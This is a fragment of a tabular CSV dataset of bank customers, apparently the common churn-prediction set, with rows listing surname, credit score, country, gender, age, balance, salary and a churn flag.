+2949,15694395,Ts'ui,620,France,Female,29,1,138740.24,2,0,0,154700.61,0 +2950,15764195,Newsom,519,Spain,Male,39,4,111900.14,1,1,1,97577.17,0 +2951,15744919,Genovese,734,Spain,Female,37,0,152760.24,1,1,1,48990.5,0 +2952,15671655,Thorpe,763,Germany,Male,31,7,143966.3,2,1,1,140262.96,1 +2953,15654901,Horton,733,France,Male,51,10,141556.96,1,1,0,130189.53,0 +2954,15649136,Williamson,650,France,Female,43,6,0,2,1,1,16301.91,0 +2955,15775562,Shoobridge,538,France,Female,33,5,0,2,1,0,126962.41,0 +2956,15807481,Peng,577,France,Female,46,1,0,1,1,1,158750.53,0 +2957,15642885,Gray,792,France,Male,30,8,0,2,1,0,199644.2,0 +2958,15789109,Watson,686,France,Female,41,10,0,1,1,1,144272.71,1 +2959,15814004,Fyodorova,589,France,Male,29,2,0,2,0,1,98320.27,0 +2960,15673619,Bazhenov,530,France,Male,25,9,162560.32,1,1,0,64129.03,0 +2961,15595135,Solomon,778,Germany,Female,29,7,123229.46,1,1,0,181221.09,0 +2962,15583681,Layh,616,Spain,Male,31,7,76665.71,2,1,1,163809.08,0 +2963,15605000,John,550,France,Male,38,9,140278.99,3,1,1,171457.06,1 +2964,15718071,Tuan,655,France,Female,51,3,0,2,0,1,15801.02,0 +2965,15679760,Slattery,721,France,Male,46,1,115764.32,2,0,0,102950.79,0 +2966,15654574,Onyekachi,499,Germany,Male,36,5,131142.53,2,1,0,174918.46,0 +2967,15577178,Genovese,511,France,Male,45,5,68375.27,1,1,0,193160.25,1 +2968,15595324,Daniels,579,Germany,Female,39,5,117833.3,3,0,0,5831,1 +2969,15756932,Caldwell,696,Spain,Female,36,7,0,2,1,1,82298.59,0 +2970,15726358,Chiemenam,681,France,Male,34,7,0,2,0,0,130686.59,0 +2971,15595228,Wanliss,815,France,Male,45,7,0,1,0,1,52885.23,1 +2972,15782530,Bruce,681,Spain,Male,30,2,111093.01,1,1,0,68985.99,0 +2973,15592877,Wright,641,Spain,Male,42,9,132657.55,1,1,0,35367.19,0 +2974,15651983,Fang,591,France,Female,56,9,128882.49,1,1,1,196241.94,1 +2975,15746737,Eames,565,Germany,Male,59,9,69129.59,1,1,1,170705.53,0 +2976,15774179,Sutherland,487,France,Male,37,6,0,2,1,1,126477.41,0 +2977,15667265,Cavenagh,729,France,Male,39,4,121404.64,1,1,1,159618.17,0 +2978,15655123,Dumetolisa,505,Spain,Female,45,9,131355.3,3,1,0,195395.33,1 +2979,15595917,Mackay,580,France,Female,35,1,102097.33,1,0,1,168285.85,0 +2980,15668385,Dellucci,642,France,Male,40,1,154863.15,1,1,1,138052.51,0 +2981,15709476,Kenyon,850,Spain,Female,41,3,99945.93,2,1,0,71179.31,0 +2982,15711218,Parry,616,Germany,Male,39,2,121704.32,2,1,0,55556.3,0 +2983,15798659,Kennedy,526,Spain,Female,43,3,0,2,1,0,31705.19,0 +2984,15663939,Arnott,523,Germany,Male,35,8,138782.76,1,1,1,186118.93,0 +2985,15694946,Hanson,663,France,Male,35,9,0,2,1,1,195580.28,0 +2986,15631912,T'ao,840,France,Male,30,8,136291.71,1,1,0,54113.38,0 +2987,15768816,Shen,570,Germany,Male,42,0,107856.57,2,1,0,127528.84,0 +2988,15682268,Steere,676,Germany,Female,26,1,108348.66,1,0,0,60231.74,1 +2989,15684801,Abbott,689,France,Male,47,1,93871.95,3,1,0,156878.42,1 +2990,15636428,Sutherland,703,Spain,Female,45,1,0,1,1,0,182784.11,1 +2991,15809823,Thurgood,491,Germany,Male,19,2,125860.2,1,0,0,129690.5,0 +2992,15699284,Johnson,584,France,Male,49,8,172713.44,1,1,0,113860.81,0 +2993,15786993,Lung,810,France,Female,51,5,0,2,0,1,184524.74,0 +2994,15709441,Cocci,745,Spain,Female,59,8,0,1,1,1,36124.98,0 +2995,15710257,Matveyeva,625,France,Female,39,3,130786.92,1,0,1,121316.07,0 +2996,15582492,Moore,535,France,Female,29,2,112367.34,1,1,0,185630.76,0 +2997,15575694,Yobachukwu,729,Spain,Female,45,7,91091.06,2,1,0,71133.12,0 +2998,15756820,Fleming,655,France,Female,26,7,106198.5,1,0,1,32020.42,0 +2999,15766289,Dickinson,751,France,Male,47,5,142669.93,2,1,0,162760.96,0 +3000,15593014,Evseyev,525,France,Male,33,1,112833.35,1,0,1,175178.56,0 +3001,15584545,Aksenov,532,France,Female,40,5,0,2,0,1,177099.71,0 +3002,15675949,Fleming,696,Spain,Female,43,4,0,2,1,1,66406.37,0 +3003,15672091,Ulyanov,786,Germany,Female,32,2,104336.43,2,0,0,59559.81,0 +3004,15801658,Summers,580,France,Male,55,6,104305.74,1,0,1,175750.21,0 +3005,15706185,Clements,596,Germany,Male,47,5,140187.1,2,1,1,174311.3,0 +3006,15789863,Kazakova,683,France,Male,39,4,0,2,1,0,171716.81,0 +3007,15720943,Pirozzi,747,France,Female,45,1,114959.12,1,1,0,189362.39,1 +3008,15697997,Jamieson,602,France,Male,33,5,164704.38,1,0,1,180716.1,1 +3009,15665416,Ferri,779,France,Male,62,10,119096.55,1,0,1,116977.89,0 +3010,15660200,Mai,551,France,Male,31,1,0,2,1,1,185105.44,0 +3011,15619653,Hannaford,666,France,Male,47,2,0,1,1,0,35046.97,1 +3012,15773447,Fomin,526,Spain,Male,30,8,0,1,1,0,36251,0 +3013,15739160,Mahon,849,France,Female,41,9,115465.28,1,1,0,103174.5,0 +3014,15689237,Shaw,471,France,Female,27,4,0,2,1,0,122642.09,0 +3015,15679297,Volkova,628,Spain,Male,43,3,184926.61,1,1,0,122937.57,0 +3016,15591433,Miles,674,Germany,Male,43,8,85957.88,2,1,0,8757.39,0 +3017,15642725,Madison,797,France,Male,32,10,114084.6,1,0,1,125782.29,0 +3018,15701962,Scott,590,Spain,Female,29,2,166930.76,2,1,0,122487.73,0 +3019,15811613,Voss,588,France,Female,27,8,0,1,1,0,20066.38,0 +3020,15741049,Colebatch,577,France,Male,29,7,0,2,1,1,55473.15,0 +3021,15724423,Wilson,571,France,Female,38,6,107193.82,2,0,0,38962.94,0 +3022,15574305,T'ang,680,France,Male,36,3,116275.12,1,1,1,63795.8,0 +3023,15678168,Gibson,648,Spain,Female,27,7,0,2,1,1,163060.43,0 +3024,15697020,Hs?eh,618,France,Male,39,2,91068.56,1,1,0,26578.69,0 +3025,15610801,Pan,648,Germany,Male,41,5,123049.21,1,0,1,5066.76,0 +3026,15745232,Chikelu,759,France,Female,39,6,0,2,1,1,140497.67,0 +3027,15722758,Allan,585,France,Male,40,7,0,2,0,0,146156.98,0 +3028,15792102,Yefremova,774,France,Female,42,3,137781.65,1,0,0,199316.19,0 +3029,15675185,Chuang,697,Germany,Female,48,2,108128.96,2,1,1,103944.37,0 +3030,15801247,Fan,605,Spain,Male,39,10,105317.73,2,1,0,138021.36,0 +3031,15725660,Dellucci,676,France,Male,20,1,80569.73,1,0,0,68621.98,0 +3032,15638963,Garran,678,France,Female,22,4,174852.89,1,1,1,28149.06,0 +3033,15800061,Moretti,495,Spain,Female,45,3,89158.94,3,1,0,135169.76,1 +3034,15578006,Yao,787,France,Female,85,10,0,2,1,1,116537.96,0 +3035,15668504,Lucchesi,770,France,Male,36,2,89800.14,1,1,1,105922.69,0 +3036,15687491,Nkemdilim,817,Germany,Male,45,9,101207.75,1,0,0,88211.12,1 +3037,15610403,Anderson,659,France,Male,43,1,106086.42,2,1,0,26900.63,0 +3038,15741094,Sagese,693,France,Male,21,1,0,2,1,1,3494.02,0 +3039,15807909,Rubensohn,744,France,Male,47,9,0,2,1,0,113163.17,0 +3040,15666141,Baldwin,829,Spain,Female,26,8,101440.36,2,1,1,19324.5,0 +3041,15617134,Iqbal,716,France,Male,38,4,0,2,1,0,189678.7,0 +3042,15783029,Monaldo,671,France,Male,34,7,106603.74,2,1,1,26387.71,0 +3043,15622833,Mahon,835,Germany,Female,29,10,130420.2,2,0,0,106276.55,0 +3044,15746422,Muir,636,France,Female,38,1,0,1,1,0,45015.38,0 +3045,15750839,Burns,649,Spain,Male,29,2,45022.23,1,1,1,173495.77,0 +3046,15749130,Dyer,621,Germany,Male,27,1,74298.43,1,1,1,52581.96,0 +3047,15779862,Lyons,658,Germany,Female,31,3,133003.03,1,0,1,146339.27,1 +3048,15767871,H?,784,Spain,Male,48,7,0,2,1,1,182609.97,0 +3049,15679651,Gardiner,783,Spain,Female,37,1,136689.66,1,1,0,197890.65,0 +3050,15576219,Cameron,615,France,Male,32,4,0,2,1,1,6225.63,0 +3051,15699247,Chapman,791,France,Female,44,5,0,2,1,1,123977.86,1 +3052,15619087,Taylor,762,France,Male,53,1,102520.37,1,1,1,170195.4,0 +3053,15605327,Namatjira,607,France,Male,35,2,0,2,1,1,114190.3,0 +3054,15610140,He,601,France,Female,34,5,0,2,1,0,27022.57,0 +3055,15791174,Leibius,540,Spain,Male,67,1,88382.01,1,0,1,59457,0 +3056,15602373,White,812,France,Male,44,4,115049.15,2,1,0,165038.41,0 +3057,15762605,Wall,685,France,Male,58,1,104796.54,1,1,1,154181.41,0 +3058,15598840,Moretti,680,France,Male,33,1,123082.08,1,1,0,134960.98,0 +3059,15744279,Patterson,680,Spain,Female,58,8,0,2,1,1,65708.5,0 +3060,15670619,Coppin,631,France,Female,33,8,0,2,0,0,117374.22,0 +3061,15599533,Tsao,569,France,Female,43,7,0,2,1,1,77703.19,0 +3062,15757837,Kao,584,Germany,Male,33,3,88311.48,2,1,1,177651.38,0 +3063,15697574,Stewart,582,France,Female,40,9,0,3,1,1,60954.45,0 +3064,15578738,Tuan,609,France,Male,32,7,71872.19,1,1,1,151924.9,0 +3065,15762228,Barnes,506,Spain,Male,35,6,110046.93,2,1,0,26318.73,0 +3066,15614827,Sun,503,France,Male,42,8,104430.08,1,1,1,147557.71,0 +3067,15789815,Fallaci,503,France,Female,28,5,0,2,1,0,125918.17,0 +3068,15579781,Buccho,806,Germany,Male,31,10,138653.51,1,1,0,190803.37,0 +3069,15587013,Tien,653,France,Female,31,7,102575.04,1,1,1,11043.54,0 +3070,15570932,Pirozzi,666,France,Male,43,7,137780.74,2,1,1,119100.05,1 +3071,15794661,Liu,674,Spain,Male,32,2,0,2,1,0,140579.17,0 +3072,15581654,Long,798,France,Male,32,7,0,2,0,1,37731.95,0 +3073,15644296,Scott,740,France,Female,30,8,105209.54,1,1,0,1852.58,0 +3074,15614420,Gerasimova,531,Germany,Female,32,0,109570.21,2,1,1,172049.84,0 +3075,15609653,Ifeatu,614,Germany,Female,44,6,118715.86,1,1,0,133591.11,1 +3076,15594577,De Luca,556,France,Male,35,10,0,2,1,1,192751.18,0 +3077,15584114,Ogbonnaya,678,Germany,Female,43,2,153393.18,2,1,1,193828.27,0 +3078,15673367,Humffray,587,Germany,Male,33,6,132603.36,1,1,0,55775.72,0 +3079,15685576,Degtyaryov,527,Spain,Female,36,6,0,2,1,1,102280.29,0 +3080,15774727,Monaldo,757,Germany,Female,34,1,129398.01,2,0,0,44965.44,0 +3081,15694288,Cawthorne,468,Spain,Male,28,3,0,2,1,0,170661.02,0 +3082,15603319,Graham,693,France,Male,29,2,151352.74,1,0,0,197145.89,0 +3083,15759066,Carpenter,483,France,Female,44,5,136836.49,1,1,0,192359.9,1 +3084,15814816,Kambinachi,466,France,Male,40,4,91592.06,1,1,0,141210.18,1 +3085,15724402,Tyler,770,France,Female,30,8,0,2,1,0,100557.03,0 +3086,15571059,Martin,734,France,Female,54,3,0,1,1,0,130805.54,1 +3087,15674206,Walker,716,France,Female,22,8,0,2,1,1,92606.98,0 +3088,15715160,Khan,439,France,Male,36,2,165536.28,2,1,1,123956.83,0 +3089,15730448,Iroawuchi,538,Germany,Male,25,5,62482.95,1,1,1,102758.43,0 +3090,15662067,Summers,743,France,Male,40,8,68155.59,1,1,0,94876.65,0 +3091,15779581,Bottrill,734,Spain,Female,43,3,55853.33,2,0,1,94811.85,1 +3092,15662901,Hu,656,France,Male,37,2,0,2,0,1,67840.81,0 +3093,15689751,Jones,666,France,Female,31,2,79589.43,1,0,0,4050.57,0 +3094,15667742,Vincent,627,Spain,Male,41,5,100880.76,1,0,1,134665.25,0 +3095,15738448,Sanford,480,Germany,Female,25,3,174330.35,2,0,0,181647.13,0 +3096,15680243,Brown,792,France,Male,19,7,143390.51,1,1,0,33282.84,0 +3097,15745083,Lei,613,Germany,Male,59,8,91415.76,1,0,0,27965,1 +3098,15708228,Toscani,476,Germany,Male,30,3,134366.42,1,1,0,68343.53,0 +3099,15628523,Chien,539,France,Female,24,3,0,2,1,1,198161.07,0 +3100,15708196,Uchenna,696,Spain,Male,60,8,88786.81,1,1,1,196858.4,0 +3101,15735549,Lori,810,Germany,Male,35,3,96814.46,2,1,1,120511.03,0 +3102,15809347,Fanucci,763,Germany,Male,32,9,160680.41,1,1,0,30886.35,0 +3103,15660866,Chimaobim,640,France,Female,29,3,0,2,1,0,2743.69,0 +3104,15766609,Jowers,655,France,Female,47,10,0,2,1,0,167778.62,0 +3105,15654230,Miller,526,Germany,Male,31,5,145537.21,1,1,0,132404.64,0 +3106,15794566,Kirsova,678,France,Female,28,4,0,2,1,1,144423.17,1 +3107,15800890,T'ien,554,France,Female,45,6,0,2,1,1,181204.5,0 +3108,15697424,Ku,597,Spain,Female,30,2,119370.11,1,1,1,182726.22,1 +3109,15724536,Chin,560,Spain,Female,28,1,0,2,1,1,120880.72,0 +3110,15735878,Law,850,Germany,Female,47,10,134381.52,1,0,0,26812.89,1 +3111,15707596,Chung,546,Germany,Female,74,8,114888.74,2,1,1,66732.63,1 +3112,15657163,Cockrum,623,Germany,Male,42,1,149332.48,2,1,0,100834.22,0 +3113,15622478,Greaves,698,France,Female,40,7,105061.74,3,1,0,107815.31,1 +3114,15779529,Grant,620,France,Male,32,7,0,2,1,1,34665.79,0 +3115,15636023,O'Donnell,619,France,Female,40,10,0,1,1,1,147093.84,1 +3116,15582066,Maclean,561,France,Male,21,4,0,1,1,1,36942.35,0 +3117,15666675,Hsieh,753,France,Female,39,7,155062.8,1,1,1,16460.77,0 +3118,15732987,Hs?,721,Spain,Male,43,3,88798.34,1,0,0,45610.63,0 +3119,15789432,Mazzanti,451,France,Male,33,6,0,2,1,0,184954.11,0 +3120,15663161,Chiu,680,Germany,Female,51,5,143139.87,1,0,0,47795.43,1 +3121,15694879,Reeves,590,Spain,Female,23,7,0,2,1,0,196789.9,0 +3122,15593715,Castiglione,634,Germany,Male,27,3,107027.52,1,1,0,173425.68,0 +3123,15575002,Ferguson,676,France,Male,29,4,140720.93,1,1,0,36221.18,0 +3124,15622171,Nnamdi,642,France,Male,30,8,80964.57,2,1,0,174738.2,0 +3125,15795224,Wu,760,France,Male,39,6,178585.46,1,1,0,67131.3,1 +3126,15685346,Chu,736,Spain,Female,26,4,135889.13,1,1,1,165692.03,0 +3127,15691808,King,656,France,Male,43,7,134919.85,1,1,0,194691.95,0 +3128,15721007,Charlton,776,Germany,Male,33,8,115130.34,1,0,0,129525.5,1 +3129,15794253,Marsh,832,Spain,Female,34,6,138190.13,2,0,1,146511.2,0 +3130,15694453,Walker,631,Germany,Male,37,9,131519.49,2,1,1,51752.18,0 +3131,15813113,Chang,795,Spain,Female,56,5,0,1,1,0,35418.69,1 +3132,15614187,Pottinger,648,Germany,Female,39,3,126935.98,2,0,1,57995.74,0 +3133,15619407,Buckley,615,France,Male,39,4,133707.09,1,1,1,108152.75,0 +3134,15646227,Folliero,682,France,Female,27,1,97893.2,1,1,0,166144.98,0 +3135,15660541,Olisanugo,694,France,Male,34,5,127900.03,1,1,0,101737.8,0 +3136,15753874,Kent,694,France,Male,37,10,143835.47,1,0,1,33326.71,0 +3137,15617877,Jessop,607,France,Male,44,0,0,2,1,1,81140.09,0 +3138,15772073,Hodge,664,France,Male,48,10,0,1,1,0,140173.17,1 +3139,15701537,Ignatiev,756,France,Male,60,2,0,1,1,1,166513.49,1 +3140,15736228,Chambers,645,France,Female,40,3,129596.77,1,1,1,103232.6,0 +3141,15780572,Mansom,653,Spain,Male,30,4,0,2,1,0,120736.04,0 +3142,15769596,Yen,710,Germany,Female,24,2,110407.44,2,0,0,15832.43,1 +3143,15586996,Azikiwe,697,France,Female,76,7,0,2,0,1,188772.45,0 +3144,15722061,Allen,619,Germany,Female,41,8,142015.76,2,1,0,114323.66,0 +3145,15638003,Komarova,648,Spain,Male,55,1,81370.07,1,0,1,181534.04,0 +3146,15775590,Mackay,482,Germany,Female,48,2,69329.47,1,0,0,102640.52,1 +3147,15730688,Yu,548,France,Female,28,8,116755.5,2,1,1,158585.17,1 +3148,15753102,Curtis,752,Spain,Male,44,6,83870.33,1,1,0,178722.24,0 +3149,15810075,Fang,648,France,Female,39,6,130694.89,2,1,1,153955.38,1 +3150,15723373,Page,643,Spain,Female,34,8,117451.47,1,1,0,65374.86,0 +3151,15795298,Olisaemeka,573,Germany,Female,35,9,206868.78,2,0,1,102986.15,0 +3152,15584320,Brennan,686,France,Female,39,3,111695.62,1,0,0,136643.84,0 +3153,15724161,Sutton,644,France,Female,40,9,137285.26,4,1,0,77063.63,1 +3154,15750056,Hyde,702,France,Female,29,6,149218.39,1,1,1,9633.01,0 +3155,15609637,Nkemakolam,652,France,Male,51,7,0,2,0,1,43496.36,0 +3156,15794493,Chimaijem,641,Spain,Male,32,7,0,2,1,1,24267.28,0 +3157,15569641,Sung,692,Germany,Female,41,8,130701.29,1,1,0,59354.24,1 +3158,15815236,Chiganu,574,Spain,Male,34,5,0,2,0,0,28269.86,0 +3159,15811177,Beneventi,643,France,Female,31,3,167949.48,1,1,0,143162.34,0 +3160,15680587,Esposito,834,France,Male,23,4,131254.81,1,1,0,20199.3,0 +3161,15672821,Owen,591,France,Male,28,5,0,2,1,1,48606.92,0 +3162,15767681,Smalley,470,Spain,Male,34,9,0,2,0,1,89013.67,0 +3163,15600379,Hsiung,608,Spain,Male,34,7,86656.13,1,0,1,59890.29,0 +3164,15801336,Ch'ang,649,Germany,Female,37,8,114737.26,1,1,1,106655.88,1 +3165,15721592,Barton,665,France,Female,38,5,0,2,1,0,156439.56,0 +3166,15581282,Lucchese,651,France,Female,39,6,0,1,1,0,24176.44,0 +3167,15746203,Hsia,555,Germany,Male,62,4,119817.33,1,0,1,43507.1,1 +3168,15583137,Pope,637,France,Female,48,7,130806.99,2,1,1,132005.85,1 +3169,15680752,Horrocks,675,France,Female,49,0,0,1,1,1,80496.71,1 +3170,15688172,Tai,677,Spain,Male,40,5,0,2,1,0,88947.56,0 +3171,15791373,Chikezie,850,Germany,Female,35,2,80931.75,1,0,0,12639.67,1 +3172,15589449,Frye,815,France,Female,56,3,0,3,1,1,94248.16,1 +3173,15692819,Toscani,665,Germany,Male,32,1,132178.67,1,0,0,11865.76,0 +3174,15727467,Mellor,485,France,Female,27,3,0,2,1,0,141449.86,0 +3175,15734312,Kang,577,Spain,Male,43,6,0,2,1,1,149457.81,0 +3176,15764604,Sutherland,586,France,Female,35,7,164769.02,3,1,0,119814.25,1 +3177,15613014,Hs?,722,Germany,Male,29,1,107233.85,2,1,0,24924.92,0 +3178,15759684,Ting,528,France,Female,27,7,176227.07,2,0,1,139481.53,0 +3179,15609669,Chuang,542,France,Female,39,4,109949.39,2,1,1,41268.65,0 +3180,15685536,Chu,552,France,Female,34,5,0,2,1,1,1351.41,0 +3181,15750447,Ozoemena,678,France,Female,60,10,117738.81,1,1,0,147489.76,1 +3182,15663249,Howells,575,Spain,Female,37,9,133292.45,1,1,0,111175.09,0 +3183,15638646,Lucchese,669,France,Female,43,1,160474.59,1,1,1,95963.14,0 +3184,15734161,Nnonso,636,France,Male,43,6,0,2,1,0,43128.95,0 +3185,15631070,Gerasimova,667,Germany,Male,55,9,154393.43,1,1,1,137674.96,1 +3186,15761950,Woronoff,652,Germany,Female,45,9,110827.49,1,1,1,153383.54,1 +3187,15649668,Wilhelm,637,Germany,Female,36,10,145750.45,2,1,1,96660.76,0 +3188,15713912,Nebechukwu,516,Spain,Female,45,8,109044.3,1,0,1,115818.16,0 +3189,15586757,Anenechukwu,801,France,Female,32,4,75170.54,1,1,1,37898.5,0 +3190,15596522,Meredith,692,France,Female,42,2,0,2,1,0,145222.93,0 +3191,15625395,Chinomso,585,France,Female,28,6,105795.9,1,1,1,41219.09,0 +3192,15760570,Stephenson,590,France,Male,32,5,0,2,1,0,59249.83,0 +3193,15566689,Chimaoke,554,Spain,Male,66,8,0,2,1,1,116747.62,0 +3194,15725794,Winters,659,France,Female,49,1,0,1,1,0,116249.72,1 +3195,15673539,Napolitani,690,France,Female,26,3,118097.87,1,1,0,61257.83,0 +3196,15705298,L?,697,Germany,Male,29,0,172693.54,1,0,0,141798.98,0 +3197,15675791,Williams,610,France,Male,36,4,129440.3,2,1,0,102638.35,0 +3198,15747043,Giles,599,Spain,Male,36,4,0,2,0,0,13210.56,0 +3199,15736397,Wang,544,France,Male,23,1,96471.2,1,1,0,35550.97,0 +3200,15678201,Robertson,548,France,Female,46,1,0,1,1,1,104469.06,1 +3201,15720745,Murray,635,Spain,Male,24,4,140197.18,1,1,1,142935.83,0 +3202,15637593,Greco,722,France,Male,20,6,0,2,1,0,195486.28,0 +3203,15598070,Marchesi,564,France,Female,33,4,135946.26,1,1,0,63170,0 +3204,15787550,Chao,719,France,Male,69,3,0,2,1,1,58320.06,0 +3205,15603942,Hawthorn,547,Germany,Male,50,3,81290.02,3,0,1,177747.03,1 +3206,15733973,Bibi,850,France,Female,42,8,0,1,1,0,19632.64,1 +3207,15596761,Hawdon,515,Germany,Male,60,9,113715.36,1,1,0,18424.24,1 +3208,15652400,Moss,667,Spain,Male,56,2,168883.08,1,0,1,18897.78,0 +3209,15717893,Briggs,607,Germany,Male,36,8,143421.74,1,1,0,97879.02,0 +3210,15622585,McIntyre,525,France,Male,26,7,153644.39,1,1,1,63197.88,0 +3211,15733964,Russo,606,Spain,Female,53,1,109330.06,1,1,1,75860.01,0 +3212,15753861,Ballard,686,Germany,Female,27,1,115095.88,2,0,0,78622.46,0 +3213,15747097,Hs?,611,France,Male,35,10,0,1,1,1,23598.23,1 +3214,15594762,Pisani,827,Spain,Male,46,1,183276.32,1,1,1,13460.27,0 +3215,15667417,Tao,572,France,Male,33,9,68193.72,1,1,0,19998.31,0 +3216,15684861,Thomson,726,France,Female,32,8,0,2,0,0,185075.63,0 +3217,15742204,Hsu,579,Germany,Male,31,6,139729.54,1,0,1,135815.38,0 +3218,15623502,Morrison,598,Spain,Female,56,4,98365.33,1,1,1,44251.33,0 +3219,15774872,Joslin,663,France,Male,36,10,0,2,1,0,136349.55,0 +3220,15611191,Scott,505,Germany,Female,37,10,122453.97,2,1,1,52693.99,0 +3221,15674331,Bidwill,576,Germany,Male,30,7,132174.41,2,0,0,93767.03,0 +3222,15619465,Cameron,555,Spain,Female,24,2,0,2,0,1,197866.55,0 +3223,15575247,Cartwright,524,France,Male,30,1,0,2,1,0,126812.85,0 +3224,15695679,Yao,776,Spain,Male,39,2,104349.45,1,0,0,79503.05,0 +3225,15713463,Tate,645,Germany,Female,41,2,138881.04,1,1,0,129936.53,1 +3226,15785170,Neal,850,Germany,Female,32,0,116968.91,1,0,0,175094.62,0 +3227,15796351,Yao,603,Germany,Male,35,1,105346.03,2,1,1,130379.5,0 +3228,15639576,Burns,691,France,Male,26,9,136623.19,1,1,0,153228,0 +3229,15693264,Onyinyechukwuka,583,France,Female,29,10,0,2,1,1,111285.85,0 +3230,15589715,Fulks,584,France,Female,66,5,0,1,1,0,49553.38,1 +3231,15769902,Christie,679,France,Female,33,6,0,2,1,1,98015.85,0 +3232,15587177,Lloyd,646,France,Male,36,6,124445.52,1,1,0,88481.32,0 +3233,15814553,Ball,559,France,Female,34,5,68999.66,2,1,1,66879.27,0 +3234,15601550,Genovesi,595,Spain,Male,36,6,85768.42,1,1,1,24802.77,0 +3235,15664907,Alexander,527,France,Male,47,1,0,1,1,0,21312.16,1 +3236,15612465,Siciliano,684,Spain,Male,34,9,100628,2,1,1,190263.78,0 +3237,15810800,Ositadimma,673,Spain,Female,32,0,0,1,1,1,72873.33,0 +3238,15665760,Kazantsev,802,Spain,Male,38,7,0,2,0,1,57764.65,0 +3239,15588080,Giles,675,France,Male,54,6,0,1,1,0,110273.84,1 +3240,15776844,Hao,762,Spain,Female,19,6,0,2,1,0,55500.17,0 +3241,15717560,Martin,580,France,Male,50,0,125647.36,1,1,0,57541.08,1 +3242,15629739,Hartley,621,Germany,Female,31,8,100375.39,1,1,1,90384.26,0 +3243,15729908,Allan,411,France,Female,36,10,0,1,0,0,120694.35,0 +3244,15716781,Dolgorukova,815,France,Male,24,7,171922.72,1,0,1,178028.96,0 +3245,15646936,Nnamdi,631,Germany,Female,32,2,146810.99,2,1,1,180990.29,0 +3246,15768151,Romano,514,Germany,Female,45,3,109032.23,1,0,1,155407.21,1 +3247,15579212,Chuang,638,France,Male,57,6,0,1,1,0,33676.48,1 +3248,15721835,Owen,791,Spain,Male,25,7,0,1,1,0,89666.28,0 +3249,15800515,Singh,516,France,Male,35,5,128653.59,1,1,0,127558.26,0 +3250,15591279,Nwagugheuzo,734,France,Male,37,3,80387.81,1,0,1,77272.62,0 +3251,15587419,Shipton,611,France,Male,58,8,0,2,0,1,107665.68,1 +3252,15750335,Paterson,850,Germany,Male,43,0,108508.82,3,1,0,184044.8,1 +3253,15699619,Rivas,641,France,Male,31,10,155978.17,1,1,0,91510.71,0 +3254,15606472,Lung,585,France,Female,38,5,0,1,1,1,87363.56,0 +3255,15778368,Allan,552,Germany,Male,50,4,121175.56,1,1,0,117505.07,1 +3256,15671387,Fetherstonhaugh,507,France,Female,29,4,89349.47,2,0,0,180626.68,0 +3257,15573926,Lung,735,Spain,Male,38,7,86131.71,2,0,0,93478.96,0 +3258,15709183,Davidson,707,France,Female,58,3,102346.86,1,1,1,114672.64,0 +3259,15577514,Mai,698,Germany,Female,36,7,121263.62,1,1,1,13387.88,0 +3260,15778830,Dellucci,841,France,Male,31,2,0,2,1,0,173240.52,0 +3261,15768072,Mitchell,688,Spain,Female,33,2,0,1,0,0,27557.18,1 +3262,15768293,Sun,614,France,Male,51,3,0,2,1,1,5552.37,0 +3263,15654456,Napolitano,511,Germany,Male,48,6,149726.08,1,0,0,88307.87,1 +3264,15807525,Bailey,447,France,Male,43,2,0,2,1,0,33879.26,1 +3265,15574372,Hoolan,738,France,Male,35,5,161274.05,2,1,0,181429.87,0 +3266,15671249,Kent,422,France,Female,33,2,0,2,1,0,102655.31,0 +3267,15779744,Chou,537,Spain,Male,30,1,103138.17,1,1,1,96555.42,0 +3268,15624755,Pepper,707,Germany,Female,40,3,109628.44,1,1,0,189366.03,0 +3269,15611430,Abramowitz,690,France,Male,54,5,0,1,1,0,12847.61,1 +3270,15774744,Lord,664,Germany,Male,33,7,97286.16,2,1,0,143433.33,0 +3271,15629885,Wilson,850,France,Female,33,7,118004.26,1,1,0,183983.82,0 +3272,15708791,Abazu,584,Spain,Male,32,9,85534.83,1,0,0,169137.24,0 +3273,15793890,Harriman,728,France,Female,59,4,0,1,1,1,163365.85,1 +3274,15646091,Frankland,560,Spain,Female,43,4,95140.44,2,1,0,123181.44,1 +3275,15596984,Pinto,629,France,Female,31,6,0,1,1,1,16447.6,1 +3276,15800215,Kwemtochukwu,658,France,Male,25,3,0,2,0,1,173948.4,0 +3277,15577806,Chiu,794,Germany,Female,54,1,75900.84,1,1,1,192154.66,0 +3278,15749381,Yu,790,France,Female,41,2,126619.27,1,1,0,198224.38,0 +3279,15683758,Onyekachukwu,640,France,Male,44,7,111833.47,1,1,0,67202.74,0 +3280,15670615,Castiglione,652,Spain,Male,37,7,0,2,1,0,68789.93,0 +3281,15715622,To Rot,583,France,Female,57,3,238387.56,1,0,1,147964.99,1 +3282,15707634,Anenechukwu,775,France,Female,32,2,108698.96,2,1,1,161069.73,0 +3283,15806901,Henderson,584,France,Female,39,2,112687.69,1,1,1,127749.61,0 +3284,15775335,Ellis,635,Germany,Female,48,4,81556.89,2,1,0,191914.37,0 +3285,15724150,Nkemdirim,814,France,Male,48,9,136596.85,1,1,1,185791.9,0 +3286,15627220,Kang,735,Germany,Female,43,9,98807.45,1,0,0,184570.04,1 +3287,15672330,Lear,678,France,Female,31,1,0,2,0,1,130446.65,0 +3288,15668521,Jamieson,693,France,Male,37,1,0,2,1,1,82867.55,0 +3289,15807837,Mazzanti,640,France,Female,30,6,107499.7,1,1,1,187632.22,0 +3290,15592570,Marino,773,Spain,Female,23,8,0,2,1,0,56759.79,0 +3291,15748589,Winter,736,France,Female,30,9,0,2,1,0,34180.33,0 +3292,15635893,T'ien,693,France,Female,28,8,0,2,1,1,158545.25,0 +3293,15757632,Hughes-Jones,496,France,Female,41,1,176024.05,2,1,0,182337.98,0 +3294,15691863,Cody,751,France,Female,39,3,0,2,1,1,84175.34,0 +3295,15706071,Hunt,528,Germany,Male,39,0,127631.62,1,0,1,22197.8,1 +3296,15654296,Estrada,754,Spain,Female,19,9,0,1,1,0,189641.11,0 +3297,15755018,Dickinson,568,Germany,Female,26,10,109819.16,2,1,0,154491.39,0 +3298,15594041,Fanucci,592,Spain,Female,41,2,138734.94,1,1,0,90020.74,0 +3299,15670587,Yang,558,Germany,Male,25,10,111363.1,2,1,0,197264.35,0 +3300,15724527,Forbes,825,France,Male,34,9,0,2,1,1,31933.06,0 +3301,15801904,Heard,677,Germany,Male,28,0,143988,2,1,0,8755.69,1 +3302,15658195,Efremova,653,France,Male,34,5,118838.75,1,1,1,52820.13,0 +3303,15630113,Morphett,593,Spain,Male,35,4,161637.75,1,1,1,20008.46,0 +3304,15784320,Lenhardt,632,France,Female,44,3,133793.89,1,1,1,34607.14,1 +3305,15676513,Burns,601,Germany,Male,35,8,71553.83,1,1,0,177384.45,0 